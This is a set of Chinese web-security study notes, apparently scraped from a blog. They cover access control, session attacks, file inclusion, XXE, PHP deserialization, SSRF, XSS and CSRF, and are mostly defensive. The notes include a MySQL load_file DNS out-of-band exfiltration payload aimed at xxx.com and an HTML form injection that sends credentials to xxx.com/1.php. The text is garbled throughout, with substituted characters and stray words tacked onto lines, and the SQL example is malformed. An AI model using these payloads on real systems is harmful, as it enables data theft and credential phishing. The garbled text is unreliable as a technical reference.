特性被滥用或无用致使的【漏洞】php
全部用户输入须要在服务器端进行集中的统一验证html
代码复查python
不要“滥用”隐藏域web
请求参数须要严格的验证其类型正则表达式
服务器返回给客户端的重要参数、赋值使用HMAC进行参数签名算法
消息完整性签名
校验失败,说明客户端尝试篡改请求参数攻击,代码逻辑直接跳事后续业务逻辑代码,给客户端返回统一的错误信息对每一个须要验证的请求进行检查,不只是在用户第一次登陆请求时进行检查sql
避免使用本身开发的访问控制,而是使用开发框架内置或第三方可靠安全访问控制框架shell
防止客户端缓存重要内容:设置HTTP响应头和HTML meta
标签数据库
在服务器端使用操做系统提供的访问控制保护文件的未经受权的访问json
业务模型的访问控制受权建模
平行权限访问
提高权限访问
会话预测(Session Prediction)指的是攻击者能够【预测】出服务端的合法【会话令牌】,从而达成身份冒用的效果。
会话劫持(Session Hijacking)能够经过中间人劫持攻击或跨站点脚本攻击方式拿到用于会话惟一标识的【会话令牌】
会话偷渡(Session Riding)是跨站请求伪造(CSRF)
的另外一种表述
攻击者不须要克隆受害用户的会话,攻击者一次会话头东攻击只是借用受害用户保存在客户端的【会话令牌】执行一次受害用户不知情的认证会话操做,攻击者对于受害用户使用的【会话令牌】具体是什么并不知情。
以Apache为例,可使用.htaccess
,可是使用.htaccess
防护文件上传漏洞存在反作用,攻击者上传精心构造的.htaccess
来使得[上传目录]下对特定文件类型开启脚本解释执行功能。
C语言头文件 python import的模块或包 ......
文件包含漏洞
上述四个PHP函数均可以传入【变量】来动态加载PHP源代码文件。且既能够是【本地文件】,也能够是【远程文件】。
PHP本地文件包含执行代码不依赖于修改PHP的默认运行时配置便可完成认以PHP代码执行。
经过文件上传漏洞上传恶意脚本文件,经过文件包含漏洞去执行脚本。
将恶意脚本文件保存到某个网址下面,经过文件包含漏洞去执行该脚本。
php.ini
open basedir
函数,将其设置为指定目录,则只有该目录的文件容许被访问allow_url_include=Off
禁止远程文件包含XML
代码中包含了加载外部资源的【恶意变量声明】XML
代码时无限制解析【恶意变量】声明语句序列化是将应用程序对象状态转换为二进制数据或文本数据的过程。
反序列化则是其逆向过程,即从二进制数据或文本数据建立对象状态。
应用程序使用该功能来支持有效共享或存储对象状态
。
变化的是数据,类和方法存在于后端代码中。
案例:[python编写的SQL注入自动化利用神奇Sqlmap存在的Pickle反序列化漏洞致使代码执行报告][https://blog.knownsec.com/2015/12/sqlmap-code-execution-vulnerability-analysis/]
全部php里面的值均可以使用函数serialize()来返回一个包含字节流的字符串来表示。unserialize()函数可以从新把字符串变回php原来的值。 序列化一个对象将会保存对象的全部变量,可是不会保存对象的方法,只会保存类的名字。
*(2a)
字符的左右两边被不可打印字符\00
包围mobile
左边拼接了字符串\00User\00
,其中User
是类名<对象标识>:<类名长度>:"类名":类的成员变量个数
O:4:"User":3:{
<成员变量类型>:<成员变量名长度>:<成员变量名>";<成员变量值类型>:<成员变量值>;
s:6:"\00*\00age";i:18;
<成员变量类型>:<成员变量名长度>:<成员变量名>";<成员变量值类型>:<成员变量值长度>:<成员变量值>;
s:4:"name";s:9:"zhangsan";
<成员变量类型>:<成员变量名长度>:<成员变量名>":<成员变量值长度>:<成员变量值>;
s:12:"\00User\00moblie";s:11:"1330000000";}
将应用程序配置为不接受不可信来源的任何反序列化输入
仅使用具备基本数据类型的序列化函数(如PHP的json_encode()和json_decode())
若是这些措施不可行,那么在建立对象以前执行反序列化期间应强制约束类型,在较低特权环境(例如,临时容器)中运行反序列化,并限制与执行反序列化的服务器的网络链接。
同时还能够经过使用加密或完整性检查(例如,数字前面),防止恶意的对象建立和数据篡改操做。
全部web应用程序(甚至操做系统)都依靠由第三方开发和提供的各类软件组件,包括开源组件和商用组件。
文件包含、XXE漏洞、反序列化漏洞均可以用来构造和触发SSRF,这就是典型的【组合漏洞】和【链式漏洞】利用。
严格来讲,SSRF不是一种独立漏洞类型,而是一种漏洞利用类型。
curl 支持的协议很是普遍,若是服务端存在curl命令调用的用户输入的场景,很是危险!!!
除了文件读取时容易形成SSRF漏洞(例如文档、图片、音视频处理等在接受文件路径输入参数时极可能同时支持本地和网络协议URL)
数据库的一些内置功能(家在网络地址时会自动对其中包含的域名字段进行DNS查询),也会被利用在SQL注入的过程当中获取数据。
以sqlmap为例,在其众多数据获取技巧中提供了一个命令行参数--dns-domain
就是实现了利用SQL数据库在执行一些特定函数时会对其中传入的参数看成域名进行查询这个特性的基于DNS的带外数据回传
。
select load_file(concat('\\\\'), version, '.xxx.com\\1.txt')
成功执行上述SQL代码会在xxx.com
的DNS解析服务器上留下一条DNS查询记录。
secure_file_priv
的设定会影响到load_file()
是否解析参数中包含的域名
secure_file_priv
缺省设置均为空,则上述攻击代码能得手离开JavaScript也能来一次XSS攻击,基于页面篡改。
<div> <form action="xxx.com/1.php">用户名<input name="a"><br/>密码<input name="b" type="password"><br/><input type=submit value=登录> </div>
在绝大多数状况下,XSS中都会包含JavaScript代码,以完成更高级的漏洞利用效果
服务端脚本在【输出】数据时,要进行【转义】操做
【输出】数据的【转义】要按内容是HTML仍是JavaScript进行区别操做
htmlspecialchar()
函数(且大多数状况下应在第二个参数设置ENT_QUOTES
来转义单引号)json_encode()
去处理服务端输出给客户端的JavaScript变量值在客户端脚本中尽量使用innerText()
之类的函数来过滤服务端脚本对客户端变量的赋值
联合现代浏览器的客户端安全机制,共同对抗XSS
Content Security Policy
的HTTP响应头对HTTP Header
中的referer
字段进行验证
HTTP Header
字段记录了该HTTP请求的来源地址。在一般状况下,访问一个安全受限页面的请求必须来自于同一个网站
在POST请求中添加token做为参数并验证
csrftoken
,在HTML的表单中,该字段的输入域网网是隐藏的在HTTP头中自定义属性并验证
HTTP Header
中自定义的属性里添加验证码并验证
csrftoken
做为GET参数进行请求,防止请求地址呗记录到浏览器的地址栏,也防止token经过Referer泄漏到其余网站。以上四种防护方法一般是组合使用,而不是单一应用。
CVE-2013-4547 Nginx文件名解析逻辑漏洞
目录遍历或信息泄漏(被枚举探测存在性)
8.3
命名规则,超过部分用~
取代。防护Web服务器URI解析类漏洞